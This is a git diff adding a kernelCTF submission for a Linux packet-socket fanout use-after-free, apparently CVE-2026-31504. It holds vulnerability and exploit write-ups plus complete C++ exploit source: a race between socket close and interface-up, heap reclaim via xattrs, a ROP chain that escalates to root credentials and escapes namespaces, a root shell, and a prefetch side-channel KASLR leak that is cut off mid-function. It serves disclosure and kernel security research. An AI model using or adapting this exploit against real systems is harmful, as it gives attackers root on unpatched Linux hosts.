diff --git a/pocs/linux/kernelctf/CVE-2026-31504_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-31504_cos/docs/exploit.md new file mode 100644 index 000000000..76a3d1aef --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31504_cos/docs/exploit.md @@ -0,0 +1,159 @@ +## Setup + +To trigger the vulnerability we need to create a packet socket and call setsockopt() with the PACKET_FANOUT argument to initialize the fanout group. We also have to set the state of the lo interface to be "down", so that we can later bring it up during the race. + +Also, to increase our chances of success, we add many multicast addresses using the PACKET_ADD_MEMBERSHIP socket option. + +During our race window packet_flush_mclist() frees all of these addresses: +``` +static void packet_flush_mclist(struct sock *sk) +{ + struct packet_sock *po = pkt_sk(sk); + struct packet_mclist *ml; + + if (!po->mclist) + return; + + rtnl_lock(); + while ((ml = po->mclist) != NULL) { + struct net_device *dev; + + po->mclist = ml->next; + dev = __dev_get_by_index(sock_net(sk), ml->ifindex); + if (dev != NULL) + packet_dev_mc(dev, ml, -1); + kfree(ml); + } + rtnl_unlock(); +} +``` + +which takes some time and helps us to hit the window. + +## Triggering the use-after-free + +To send a NETDEV_UP event during packet_release() we need to use two threads. Thread 1 closes the socket and Thread 2 sends a RTM_NEWLINK message that changes the link state to be "up". + +Then we use simple_xattr allocation privilege to reallocate packet_fanout object freed in packet_release(). +packet_fanout has variable size depending on max_num_members. +By default max_num_members = 256, which places packet_fanout in the kmalloc-4k cache. This suits us fine, as this cache has low noise. + + +## Getting RIP control + +packet_fanout contains a packet_type structure at offset 0x40 of our controlled object: + +``` +struct packet_fanout { + possible_net_t net; /* 0 0x8 */ + unsigned int num_members; /* 0x8 0x4 */ + u32 max_num_members; /* 0xc 0x4 */ + u16 id; /* 0x10 0x2 */ + u8 type; /* 0x12 0x1 */ + u8 flags; /* 0x13 0x1 */ + + union { + atomic_t rr_cur; /* 0x18 0x4 */ + struct bpf_prog * bpf_prog; /* 0x18 0x8 */ + }; /* 0x18 0x8 */ + struct list_head list; /* 0x20 0x10 */ + spinlock_t lock; /* 0x30 0x4 */ + refcount_t sk_ref; /* 0x34 0x4 */ + + + struct packet_type prot_hook __attribute__((__aligned__(64))); /* 0x40 0x48 */ + struct sock * arr[]; /* 0x88 0 */ +}; + +struct packet_type { + __be16 type; /* 0 0x2 */ + bool ignore_outgoing; /* 0x2 0x1 */ + + /* XXX 5 bytes hole, try to pack */ + + struct net_device * dev; /* 0x8 0x8 */ + netdevice_tracker dev_tracker; /* 0x10 0 */ + int (*func)(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); /* 0x10 0x8 */ + void (*list_func)(struct list_head *, struct packet_type *, struct net_device *); /* 0x18 0x8 */ + bool (*id_match)(struct packet_type *, struct sock *); /* 0x20 0x8 */ + struct net * af_packet_net; /* 0x28 0x8 */ + void * af_packet_priv; /* 0x30 0x8 */ + struct list_head list; /* 0x38 0x10 */ + + /* size: 72, cachelines: 2, members: 10 */ + /* sum members: 67, holes: 1, sum holes: 5 */ + /* last cacheline: 8 bytes */ +}; + +``` + +During packet handling .id_match() function is called with a pointer to the struct packet_type as a first argument: + +``` +static inline bool skb_loop_sk(struct packet_type *ptype, struct sk_buff *skb) +{ + if (!ptype->af_packet_priv || !skb->sk) + return false; + + if (ptype->id_match) + return ptype->id_match(ptype, skb->sk); + else if ((struct sock *)ptype->af_packet_priv == skb->sk) + return true; + + return false; +} +``` + +This gives us RIP control and controlled data pointed to by the RDI register. + +## Pivot to ROP + +Three gadgets are used to pivot the stack: + +``` +mov rax, qword ptr [rdi + 0xc8] +mov r14d, 1 +test rax, rax +je 0xffffffff8206a2f8 +mov rsi, rdi +mov rcx, rbp +mov rdi, rbx +mov rdx, r13 +call __x86_indirect_thunk_rax +``` + +This copies RDI to RSI. + +``` +push rsi +jmp qword [rsi+0x39] +``` + +This pushes pointer to the struct packet_type to the stack. + + +``` +pop rsp; +pop rbx; +ret; +``` + +This moves the pointer to RSP. + +``` +pop r10 +pop r9 +pop r8 +pop rdi +pop rsi +pop rdx +pop rcx +ret +``` + +The last gadget is used to jump over the unusable part of the packet_type that contains the previously used pointers. + +## Privilege escalation + +ROP does the standard commit_creds(init_cred); switch_task_namespaces(pid, init_nsproxy); sequence and returns to the userspace. +Before that, rcu lock is released in the task_struct of the current process. diff --git a/pocs/linux/kernelctf/CVE-2026-31504_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-31504_cos/docs/vulnerability.md new file mode 100644 index 000000000..5e74b9dbb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31504_cos/docs/vulnerability.md @@ -0,0 +1,165 @@ +## Requirements to trigger the vulnerability + +- CAP_NET_ADMIN and CAP_NET_RAW in a namespace is required +- Kernel configuration: CONFIG_PACKET +- User namespaces required: yes + +## Commit which introduced the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ce06b03e60fc19c680d1bf873e779bf11c2fc518 + +## Commit which fixed the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=42156f93d123436f2a27c468f18c966b7e5db796 + +## Affected kernel versions + +Introduced in 3.1. Fixed in 6.1.168 and other stable trees. + +## Affected component, subsystem + +net/packet + +## Description + +Packet sockets can form a fanout group to scale processing across threads. In this mode, each matching packet is enqueued onto only one socket in the group. + +To accomplish that, packet module registers a packet handler using dev_add_pack() in __fanout_link(): +``` +static void __fanout_link(struct sock *sk, struct packet_sock *po) +{ + struct packet_fanout *f = po->fanout; + + spin_lock(&f->lock); + rcu_assign_pointer(f->arr[f->num_members], sk); + smp_wmb(); + f->num_members++; + if (f->num_members == 1) + dev_add_pack(&f->prot_hook); + spin_unlock(&f->lock); +} +``` + +This causes prot_hook field of struct packet_fanout to be linked into a list that is evaluated every time a new packet is handled by the network stack. + +This hook is unregistered when socket is closed in packet_release(): +``` +static int packet_release(struct socket *sock) +{ + struct sock *sk = sock->sk; + struct packet_sock *po; + struct packet_fanout *f; + struct net *net; + union tpacket_req_u req_u; + + if (!sk) + return 0; + + net = sock_net(sk); + po = pkt_sk(sk); + + mutex_lock(&net->packet.sklist_lock); + sk_del_node_init_rcu(sk); + mutex_unlock(&net->packet.sklist_lock); + + + sock_prot_inuse_add(net, sk->sk_prot, -1); + + spin_lock(&po->bind_lock); +[1] unregister_prot_hook(sk, false); + packet_cached_dev_reset(po); + + if (po->prot_hook.dev) { + netdev_put(po->prot_hook.dev, &po->prot_hook.dev_tracker); + po->prot_hook.dev = NULL; + } + spin_unlock(&po->bind_lock); + +[2] packet_flush_mclist(sk); + + lock_sock(sk); + if (po->rx_ring.pg_vec) { + memset(&req_u, 0, sizeof(req_u)); + packet_set_ring(sk, &req_u, 1, 0); + } + + if (po->tx_ring.pg_vec) { + memset(&req_u, 0, sizeof(req_u)); + packet_set_ring(sk, &req_u, 1, 1); + } + release_sock(sk); + + f = fanout_release(sk); + + synchronize_net(); + + kfree(po->rollover); + if (f) { + fanout_release_data(f); +[3] kvfree(f); + } + +... +``` + +Packet code also handles network device state changes in packet_notifier(): +``` +static int packet_notifier(struct notifier_block *this, + unsigned long msg, void *ptr) +{ + struct sock *sk; + struct net_device *dev = netdev_notifier_info_to_dev(ptr); + struct net *net = dev_net(dev); + + rcu_read_lock(); + sk_for_each_rcu(sk, &net->packet.sklist) { + struct packet_sock *po = pkt_sk(sk); + + switch (msg) { + case NETDEV_UNREGISTER: + if (po->mclist) + packet_dev_mclist_delete(dev, &po->mclist); + fallthrough; + + case NETDEV_DOWN: + if (dev->ifindex == po->ifindex) { + spin_lock(&po->bind_lock); + if (po->running) { + __unregister_prot_hook(sk, false); + sk->sk_err = ENETDOWN; + if (!sock_flag(sk, SOCK_DEAD)) + sk_error_report(sk); + } + if (msg == NETDEV_UNREGISTER) { + packet_cached_dev_reset(po); + WRITE_ONCE(po->ifindex, -1); + netdev_put(po->prot_hook.dev, + &po->prot_hook.dev_tracker); + po->prot_hook.dev = NULL; + } + spin_unlock(&po->bind_lock); + } + break; + case NETDEV_UP: + if (dev->ifindex == po->ifindex) { + spin_lock(&po->bind_lock); + if (po->num) { +[4] register_prot_hook(sk); + } + spin_unlock(&po->bind_lock); + } + break; + } + + +``` + +In case of the NETDEV_UP event, if a socket has an existing fanout setup, packet handler is registered using register_prot_hook()/__fanout_link(). + +A use-after-free can be triggered by racing packet_notifier() against packet_release(): + +If NETDEV_UP handling ([4]) runs after unregister_prot_hook() in packet_release() ([1]), packet handling hook of the packet_fanout of the socket to be released will be re-registered. +Later in packet_release() packet_fanout object will be freed ([3]) leading to a use-after-free when the next packet is sent. + + + diff --git a/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/Makefile b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/Makefile new file mode 100644 index 000000000..0fe023ed5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/Makefile @@ -0,0 +1,9 @@ +INCLUDES = +LIBS = -pthread -lkernelXDK +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none -Wno-write-strings + +exploit: exploit.cpp kernelver_18244.582.55.h target.kxdb kaslr.c + g++ -o $@ exploit.cpp kaslr.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libkeyutils-dev diff --git a/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/exploit b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/exploit new file mode 100755 index 000000000..f38572242 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/exploit.cpp b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/exploit.cpp new file mode 100644 index 000000000..169cc53e9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/exploit.cpp @@ -0,0 +1,807 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "kernelver_18244.582.55.h" + +#include +#include + +INCBIN(target_db, "target.kxdb"); + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; +char *g_stack1; +static int g_event1; +uint64_t leak_kernel_text(); + +#define STACK_SIZE (1024 * 1024) /* Stack size for cloned child */ + + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x10000 +#define XATTR_CHUNK 1000 +#define XATTR_CNT 1 + +static Target target = Target("kernelctf", "cos-113-18244.582.55"); + +static int g_pwned; +static int g_trigger_only; +#define KOFFSET(x) (x-0xffffffff81000000uL) +#define ROP2_CONST_AREA 0x10 +#define ROP2_CONST_OFFSET 0x200 + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + +uint64_t kaddr_offset(uint64_t offset) +{ + return g_kernel_text + offset; +} + + +/* Netlink code based on syzcaller generated snippets */ +struct nlmsg { + char* pos; + int nesting; + struct nlattr* nested[8]; + char buf[0x5000]; +}; + +static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, + const void* data, int size) +{ + memset(nlmsg, 0, sizeof(*nlmsg)); + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_type = typ; + hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; + memcpy(hdr + 1, data, size); + nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); +} + +static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, + int size) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + // printf("attr size: %d\n", size); + + attr->nla_len = sizeof(*attr) + size; + + if (nlmsg->pos - nlmsg->buf + attr->nla_len > sizeof(nlmsg->buf)) + errx(1, "Netlink buffer overflow, increase size in struct nlmsg\n"); + + attr->nla_type = typ; + if (size > 0) + memcpy(attr + 1, data, size); + nlmsg->pos += NLMSG_ALIGN(attr->nla_len); +} + +static void netlink_nest(struct nlmsg* nlmsg, int typ) +{ + struct nlattr* attr = (struct nlattr*)nlmsg->pos; + attr->nla_type = typ | NLA_F_NESTED; + nlmsg->pos += sizeof(*attr); + nlmsg->nested[nlmsg->nesting++] = attr; +} + +static void netlink_done(struct nlmsg* nlmsg) +{ + struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; + + if (nlmsg->pos - (char *) attr > 0xffff) + errx(1, "Netlink attribute max size exceeded\n"); + + attr->nla_len = nlmsg->pos - (char*)attr; +} + +static ssize_t netlink_send_fast(struct nlmsg* nlmsg, int sock) +{ + if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) + err(1, "netlink_send_ext error"); + + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; + + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + + ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, + (struct sockaddr*)&addr, sizeof(addr)); + + return n; +} + +static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, + int* reply_len, bool dofail) +{ + if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) + err(1, "netlink_send_ext error"); + + struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; + hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; + + struct sockaddr_nl addr; + memset(&addr, 0, sizeof(addr)); + addr.nl_family = AF_NETLINK; + + ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, + (struct sockaddr*)&addr, sizeof(addr)); + + if (n != (ssize_t)hdr->nlmsg_len) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); + if (reply_len) + *reply_len = 0; + + if (n < 0) { + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (n < (ssize_t)sizeof(struct nlmsghdr)) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type == NLMSG_DONE) + return 0; + + if (reply_len && hdr->nlmsg_type == reply_type) { + *reply_len = n; + return 0; + } + if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + if (hdr->nlmsg_type != NLMSG_ERROR) { + errno = EINVAL; + if (dofail) + err(1, "netlink_send_ext error"); + return -1; + } + + errno = -((struct nlmsgerr*)(hdr + 1))->error; + return -errno; +} + +static int netlink_send(struct nlmsg* nlmsg, int sock) +{ + return netlink_send_ext(nlmsg, sock, 0, NULL, false); +} + +/* End of syzkaller code */ + + +static struct nlmsg nlmsg; +struct nl_cache *g_link_cache; +static struct nl_sock *g_nl_sock; + +static void netlink_device_change(struct nlmsg* nlmsg, int sock, + const char* name, bool up, const char* master, + const void* mac, int macsize, + const char* new_name) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + + if (up) + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + + hdr.ifi_index = if_nametoindex(name); + + netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); + + if (new_name) + netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); + + if (master) { + int ifindex = if_nametoindex(master); + netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); + } + + if (macsize) + netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); + + netlink_send(nlmsg, sock); +} + +void setup_namespaces() +{ + char *uid_map; + char *gid_map; + int ret, map; + uid_t uid = getuid(); + uid_t gid = getgid(); + + if (unshare(CLONE_NEWUSER|CLONE_NEWNET|CLONE_NEWNS)) { + perror("unshare"); + exit(1); + } + + map = open("/proc/self/setgroups", O_WRONLY); + ret = write(map, "deny", 4); + + if (ret < 4) { + perror("setgroups write"); + exit(1); + } + + close(map); + + asprintf(&uid_map, "0 %d 1\n", uid); + size_t len = strlen(uid_map); + + map = open("/proc/self/uid_map", O_WRONLY); + + ret = write(map, uid_map, len); + + if (ret < len) { + perror("uid map write"); + exit(1); + } + close(map); + + asprintf(&gid_map, "0 %d 1\n", gid); + map = open("/proc/self/gid_map", O_WRONLY); + ret = write(map, gid_map, len); + + if (ret < len) { + perror("gid map write"); + exit(1); + } + + close(map); + + if (mount("tmpfs", "/tmp", "tmpfs", 0, NULL)) { + perror("mount"); + exit(1); + } +} + +void link_set_state(int sock, int if_index, unsigned char up) +{ + struct ifinfomsg hdr; + memset(&hdr, 0, sizeof(hdr)); + + if (up) + hdr.ifi_flags = hdr.ifi_change = IFF_UP; + else + hdr.ifi_flags = IFF_LOOPBACK; + + hdr.ifi_index = if_index; + + netlink_init(&nlmsg, RTM_NEWLINK, NLM_F_REQUEST, &hdr, sizeof(hdr)); + + netlink_send_fast(&nlmsg, sock); +} + + +static void setup_network(char *link_name) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + + netlink_device_change(&nlmsg, sock, "lo", true, 0, NULL, 0, link_name); + + close(sock); +} + +void reboot() +{ + int fd = open("/proc/sysrq-trigger", O_WRONLY); + write(fd, "b", 1); + close(fd); +} + + +void __attribute__((naked)) after_pwn() +{ +// Fix user stack since we didn't do that when returning from kernel mode + asm volatile( + "mov %0, %%rsp\n" + :: "r" (g_mmapped_buf + MMAP_SIZE - 0x100) + ); + g_pwned = 1; + + set_cpu(0); + + int pid = fork(); + + if (!pid) { + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + +// Force reboot to avoid hangs of the repro system + sleep(5); + reboot(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + _exit(0); + } + + waitpid(pid, &g_status, 0); + + + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + +#define DUP_CNT 1300 +#define EPOLL_CNT 550 + +void create_watches(int fd, int dup_cnt) +{ + int epoll_fds[EPOLL_CNT]; + int tfd_dups[DUP_CNT]; + + for (int i=0; itv_nsec += usecs * 1000; + + if (ts->tv_nsec >= NSEC_PER_SEC) { + ts->tv_sec++; + ts->tv_nsec -= NSEC_PER_SEC; + } +} + + +int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - target.GetStructSize("simple_xattr"), XATTR_CREATE); + if (res < 0) { + err(1, "fsetxattr %s", attr); + } + + return fd; +} + +int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + alloc_xattr_fd_attr(fd, attr, size, buf); + + return fd; +} + +void free_xattr_fd(int fd, int id) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + + if (fremovexattr(fd, attr) < 0) + perror("xattr"); +} + + + + +int setup_packetsock() +{ + int ret, sock; + struct sockaddr_ll addr; + + sock = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL)); + if (sock < 0) + err(1, "packet socket"); + + struct ifreq s_ifr; + strcpy(s_ifr.ifr_name, "lo"); + +/* get interface index */ + if (ioctl(sock, SIOCGIFINDEX, &s_ifr) < 0) + err(1, "ioctl"); + +/* fill sockaddr_ll struct to prepare binding */ + addr.sll_family = AF_PACKET; + addr.sll_protocol = htons(ETH_P_ALL); + addr.sll_ifindex = s_ifr.ifr_ifindex; + addr.sll_halen = ETH_ALEN; + + if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) + err(1, "bind"); + + struct fanout_args args = {.id = 1, .type_flags = PACKET_FANOUT_HASH}; + if (setsockopt(sock, SOL_PACKET, PACKET_FANOUT, &args, sizeof(args)) < 0) + err(1, "setsockopt fan"); + return sock; +} + +void prepare_packet_type(char *ptype) +{ + memset(ptype, 0, 0x100); + + +// pop 8 to jump to ptype + 0x48 +// pop r10 ; pop r9 ; pop r8 ; pop rdi ; pop rsi ; pop rdx ; pop rcx ; ret + *(uint64_t *) (ptype + 8) = kaddr(0xffffffff810e0e53); +/* +0xffffffff8206a2cd: mov rax, qword ptr [rdi + 0xc8] +0xffffffff8206a2d4: mov r14d, 1 +0xffffffff8206a2da: test rax, rax +0xffffffff8206a2dd: je 0xffffffff8206a2f8 +0xffffffff8206a2df: mov rsi, rdi +0xffffffff8206a2e2: mov rcx, rbp +0xffffffff8206a2e5: mov rdi, rbx +0xffffffff8206a2e8: mov rdx, r13 +0xffffffff8206a2eb: call __x86_indirect_thunk_rax +*/ +// .id_match + *(uint64_t *) (ptype + target.GetFieldOffset("packet_type", "id_match")) = kaddr(0xffffffff8206a2cd); + +// .af_packet_priv - must be not null + *(uint64_t *) (ptype + target.GetFieldOffset("packet_type", "af_packet_priv")) = kaddr(RW_BUFFER); + +// 0xffffffff81a130fb: push rsi ; jmp qword [rsi+0x39] + *(uint64_t *) (ptype + 0xc8) = kaddr(0xffffffff81a130fb); + + *(uint64_t *) (ptype + 0x39) = kaddr(POP_RSP_RBX); + + uint64_t *rop = (uint64_t *) (ptype + 0x48); + + *rop++ = kaddr(0xffffffff81ee9e2b); + rop += 6; + *rop++ = kaddr(POP_RDI); + rop += 1; + *rop++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX); + rop += 8; + *rop++ = kaddr(POP_RDI); + *rop++ = kaddr_offset(target.GetSymbolOffset("init_cred")); + *rop++ = kaddr_offset(target.GetSymbolOffset("commit_creds")); + + *rop++ = kaddr(POP_RDI); + *rop++ = getpid(); + *rop++ = kaddr_offset(target.GetSymbolOffset("find_task_by_vpid")); + + *rop++ = kaddr(POP_RSI); +// rcu_lock + *rop++ = 0x474; + *rop++ = kaddr(POP_RCX); + *rop++ = 0; + +// ffffffff8103c650: 48 01 f0 add rax,rsi + *rop++ = kaddr(0xffffffff8103c650); + +// ffffffff8176f7bb: 48 89 08 mov QWORD PTR [rax],rcx + *rop++ = kaddr(0xffffffff8176f7bb); + + *rop++ = kaddr(POP_RDI); + *rop++ = 1; + *rop++ = kaddr_offset(target.GetSymbolOffset("find_task_by_vpid")); + + *rop++ = kaddr(MOV_RDI_RAX); + + *rop++ = kaddr(POP_RSI); + *rop++ = kaddr_offset(target.GetSymbolOffset("init_nsproxy")); + + *rop++ = kaddr_offset(target.GetSymbolOffset("switch_task_namespaces")); + + *rop++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX); + +// eflags + *rop++ = 0; + rop += 6; + +// Userspace RIP + *rop++ = (uint64_t) after_pwn; + + *rop++ = kaddr(RETURN_VIA_SYSRET); +} + +struct child_arg { + int tfd; + int sock; + unsigned int attempt; + int delay1; + int event; + struct sockaddr_ll *addr; +}; + +int child_send(void *arg) +{ + struct itimerspec its = { 0 }; + struct child_arg *carg = (struct child_arg *) arg; + set_cpu(1); + + + ts_add(&its.it_value, carg->delay1); + + eventfd_t event_value; + eventfd_read(carg->event, &event_value); + + timerfd_settime(carg->tfd, 0, &its, NULL); + + link_set_state(carg->sock, 1, 1); + + return 0; + +} + +void add_mc(int sock, int id) +{ + struct packet_mreq mreq = {}; + mreq.mr_ifindex = 1; + mreq.mr_alen = 6; + mreq.mr_type = PACKET_MR_UNICAST; + *(uint64_t *) &mreq.mr_address = id; + + if (setsockopt(sock, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) + err(1, "setsockopt mc"); +} + +void one_attempt(int tfd, int xattr_fd, int inet_sock, int netlink_sock) +{ + static unsigned int attempt = 0; + + struct sockaddr_in addr; + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_port = htons(7777); + + + struct child_arg carg = { + .tfd = tfd, + .sock = netlink_sock, + .attempt = attempt++, + .event = g_event1 + }; + + carg.delay1 = 1495; + +// printf("delays: %d %d try: %d\n", carg.delay1, carg.delay1, carg.try); + int packet_sock = setup_packetsock(); + + link_set_state(netlink_sock, 1, 0); + for (int i = 0; i < 3000; i++) + { + add_mc(packet_sock, i); + } + + pid_t pid = clone(child_send, g_stack1 + STACK_SIZE, CLONE_FS | CLONE_VM | CLONE_FILES | SIGCHLD, (void *) &carg); + + usleep(5000); + eventfd_write(g_event1, 1); + + usleep(2300); + close(packet_sock); + + usleep(2000); + alloc_xattr_fd(xattr_fd, 0, 2049, g_mmapped_buf); + + if (sendto(inet_sock, g_mmapped_buf, 1, 0, (struct sockaddr *) &addr, sizeof(addr)) < 1) + perror("sendto"); + + int status; + if (waitpid(pid, &status, 0) < 0) + err(1, "waitpid"); + + free_xattr_fd(xattr_fd, 0); +} + +int main(int argc, char **argv) +{ + int ret; + struct rlimit rlim; + + setbuf(stdout, NULL); + + rlim.rlim_cur = rlim.rlim_max = 4096; + if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) + err(1, "setrlimit()"); + + + if (argc > 1 && !strcmp(argv[1], "--vuln-trigger")) { + g_trigger_only = 1; + } else { + g_kernel_text = leak_kernel_text(); + + printf("Using kernel base: 0x%lx\n", g_kernel_text); + + TargetDb kxdb("target.kxdb", target_db); + target = kxdb.AutoDetectTarget(); + } + + setup_namespaces(); + setup_network(NULL); + + g_mmapped_buf = (char *) mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + + set_cpu(0); + + struct timeval time; + gettimeofday(&time,NULL); + srand((time.tv_sec * 1000) + (time.tv_usec / 1000)); + + +// Disable IPv6 to avoid packets sent by kernel threads + system("echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6"); + + int tfd = timerfd_create(CLOCK_MONOTONIC, 0); + + g_stack1 = (char *) mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (g_stack1 == MAP_FAILED) { + perror("mmap"); + exit(1); + } + + g_event1 = eventfd(0, 0); + create_watches(tfd, 800); + + int netlink_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + + int xattr_fd = open("/tmp/x", O_RDWR|O_CREAT, 0700); + if (xattr_fd < 0) + err(1, "xattr open\n"); + + int inet_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (inet_sock < 0) + err(1, "socket"); + + if (!g_trigger_only) + prepare_packet_type(g_mmapped_buf + 0x20); + + for (int i = 0; i < 10000; i++) + { + one_attempt(tfd, xattr_fd, inet_sock, netlink_sock); + } + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/kaslr.c b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/kaslr.c new file mode 100644 index 000000000..743cbd8fd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31504_cos/exploit/cos-113-18244.582.55/kaslr.c @@ -0,0 +1,132 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +// Some of this code is based on Prefetch Side-Channel work by Daniel Gruss + +size_t hit_histogram[4000]; +size_t miss_histogram[4000]; + +inline __attribute__((always_inline)) uint64_t rdtsc_begin() { + uint64_t a, d; + asm volatile ("mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() { + uint64_t a, d; + asm volatile( + "xor %%rax, %%rax\n\t" + "mfence\n\t" + "RDTSCP\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r" (d), "=r" (a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d<<32) | a; + return a; +} + +void prefetch(void* p) +{ + asm volatile ("prefetchnta (%0)" : : "r" (p)); + asm volatile ("prefetcht2 (%0)" : : "r" (p)); +} + +size_t onlyreload(void* addr) // row hit +{ + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + //maccess((void*)0x500000); + return delta; +} + +#define TRIES (1*128*1024) + +size_t measure(size_t addr) +{ + 